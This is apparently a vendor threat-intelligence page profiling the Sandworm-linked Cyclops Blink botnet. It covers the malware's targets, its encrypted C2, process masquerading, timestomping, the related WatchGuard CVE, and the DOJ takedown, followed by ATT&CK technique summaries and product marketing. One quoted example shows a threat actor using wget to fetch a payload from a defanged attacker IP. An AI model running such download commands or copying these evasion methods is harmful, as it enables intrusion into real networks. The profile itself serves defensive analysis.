Cyclops Blink
Cyclops Blink is a modular Linux ELF malware and botnet associated with Sandworm, the Russian GRU-linked threat actor, and is widely described as the successor to VPNFilter. Public reporting states it emerged as early as June 2019 and was publicly identified in a February 23, 2022 joint advisory from the UK NCSC, CISA, FBI, and NSA. It targets network devices, specifically including WatchGuard firewall appliances/FireBox devices and ASUS routers, and has infected thousands of devices worldwide. The malware is compiled for 32-bit x86 and PowerPC architectures and consists of a core component plus modules launched as child processes via the Linux fork API.
Documented capabilities include downloading files and additional modules over HTTP and HTTPS, executing received modules, uploading exfiltrated files to command-and-control servers, gathering system information, and self-updating. Cyclops Blink can encrypt C2 traffic using AES-256-CBC under TLS, with per-message random keys and IVs encrypted using a hard-coded RSA public key, and it has also used Tor nodes for C2 traffic. It can use non-standard ports for C2, create pipes for inter-process communication, and rename its running process to "[kworker:0/1]" to masquerade as a Linux kernel thread. For defense evasion and persistence-related activity, it can use the Linux utime API to alter timestamps of modified firmware update images; reporting also describes the malware as highly persistent and reliant on firmware manipulation.
Operationally, compromise of perimeter network devices gives operators potential access into victim networks. Public reporting and U.S. government actions describe Cyclops Blink as a two-tiered global botnet used by Sandworm, with command-and-control infrastructure hosted on compromised internet-connected firewall devices. In March 2022, the U.S. Department of Justice conducted a court-authorized disruption operation that removed Cyclops Blink malware from identified C2 devices and closed external management ports used by Sandworm, severing control over infected bots. High-confidence references in the content include the malware’s association with Sandworm, targeting of WatchGuard and ASUS devices, HTTP/HTTPS and Tor-based C2, AES/TLS/RSA-protected communications, file download/upload and exfiltration capability, process masquerading, IPC via pipes, and timestamp manipulation of firmware images.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Vulnerabilities exploited
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
CVE-2022-26318 appears to be related to Cyclops Blinked, Sandworm’s VPNFilter 2.0 which was recently unmasked by CISA, NSA, NCSC UK, and the FBI. | On WatchGuard Firebox and XTM appliances, an unauthenticated user can execute arbitrary code, aka FBX-22786. This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2.
Groups observed using it
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
CVE-2022-26318 appears to be related to Cyclops Blinked, Sandworm’s VPNFilter 2.0 which was recently unmasked by CISA, NSA, NCSC UK, and the FBI.
Techniques & procedures
25 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
2 techniques
Resource Development
Initial Access
2 techniques
Initial Access
Execution
1 technique
Execution
Persistence
2 techniques
Persistence
Stealth
8 techniques
Stealth
During the 2016 Ukraine Electric Power Attack, DLLs and EXEs with filenames associated with common electric power sector protocols were used to masquerade files.
RedCurl mimicked legitimate file names and scheduled tasks, e.g. MicrosoftCurrentupdatesCheck and MdMMaintenenceTask to mask malicious files and scheduled tasks.
Akira has used legitimate names and locations for files to evade defenses.
Cyclops Blink can rename its running process to [kworker:0/1] to masquerade as a Linux kernel thread.
J-magic can rename itself as "[nfsiod 0]" to masquerade as the local Network File System (NFS) asynchronous I/O server.
APT28 has performed timestomping on victim files. APT29 has used timestomping to alter the Standard Information timestamps on their web shells to match other files in the same directory. APT32 has used scheduled task raw XML with a backdated timestamp... APT38 has modified data timestamps to mimic files that are in the same folder on a compromised host.
Discovery
4 techniques
Discovery
The content repeatedly describes malware and threat actors using commands and APIs such as ipconfig /all, ifconfig, arp -a, route print, nbtstat, netsh, GetAdaptersInfo, and GetIpNetTable to gather IP addresses, MAC addresses, DNS, DHCP, gateways, routing tables, ARP cache, proxy settings, domains, and network adapter/interface details.
The content repeatedly describes malware and threat actors obtaining lists of running processes, using utilities such as tasklist, ps, WMI, Get-Process, CreateToolhelp32Snapshot, EnumProcesses, and similar APIs/commands to enumerate active processes on victim systems.
The content repeatedly describes malware and threat actors collecting host details such as OS version, hostname, architecture, CPU, memory, BIOS, domain, language, and other configuration data; e.g., "APT41 uses multiple built-in commands such as systeminfo and net config Workstation to enumerate victim system basic configuration information."
The content repeatedly describes malware and threat actors listing files and directories, enumerating drives, searching for files by extension/name/path, retrieving file metadata, and browsing file systems (for example: "APT28 has used Forfiles to locate PDF, Excel, and Word documents during collection" and "cmd can be used to find files and directories with native functionality such as dir commands").
Command and Control
6 techniques
Command and Control
The operation copied and removed malware from vulnerable internet-connected firewall devices that Sandworm used for command and control (C2) of the underlying botnet.
The content repeatedly describes threat actors, malware, and campaigns using HTTP and/or HTTPS for command and control, including examples such as BlackEnergy communicating with C2 over HTTP POST requests and many other families using HTTP/S for C2.
During the 2025 Poland Wiper Attacks, the adversaries utilized Tor nodes for C2. APT28 has routed traffic over Tor and VPN servers to obfuscate their activities. A backdoor used by APT29 created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.
Examples include: "APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits," "During C0017, APT41 ran wget http://103.224.80[.]44:8080/kernel to download malicious payloads," and multiple malware families "use HTTP GET requests" or similar to download files/payloads.
The content repeatedly describes malware and threat actors using SSL, TLS, HTTPS, RSA, AES, Blowfish, RC4, ECIES, Diffie-Hellman, OpenSSL, WolfSSL, and mutual TLS to protect command and control traffic.
Examples include: "encrypt C2 messages with AES-256-CBC sent underneath TLS", "encrypts C2 traffic with AES and RSA", "uses SSL/TLS and RC4", and "BlowFish algorithm". | Examples include: "encrypts some C2 with RSA", "RSA encryption for C2 communications", "hard-coded RSA public key", "RSA-2048", "RSA-4096", and "REvil has encrypted C2 communications with the ECIES algorithm". | Multiple malware families and intrusion sets are described as encrypting C2 traffic using SSL/TLS/HTTPS (e.g., "used HTTPS for command and control", "encrypts C2 communications with TLS", "uses SSL for encrypting C2 communications", "TLS-encrypted WebSocket Protocol (WSS) for C2").
Recent activity
34 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A botnet referenced as part of prior FBI disruption operations against router-focused threats.
Sandworm malware used to establish persistent access and botnet capability on network devices; described as replacing VPNFilter.
Cyclops Blink is a modular malware platform used to build botnets by compromising network devices such as routers and firewalls. It is known for targeting WatchGuard Firebox and ASUS routers, enabling remote control and persistence for threat actors.
Malware described in the content as the successor to VPNFilter.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.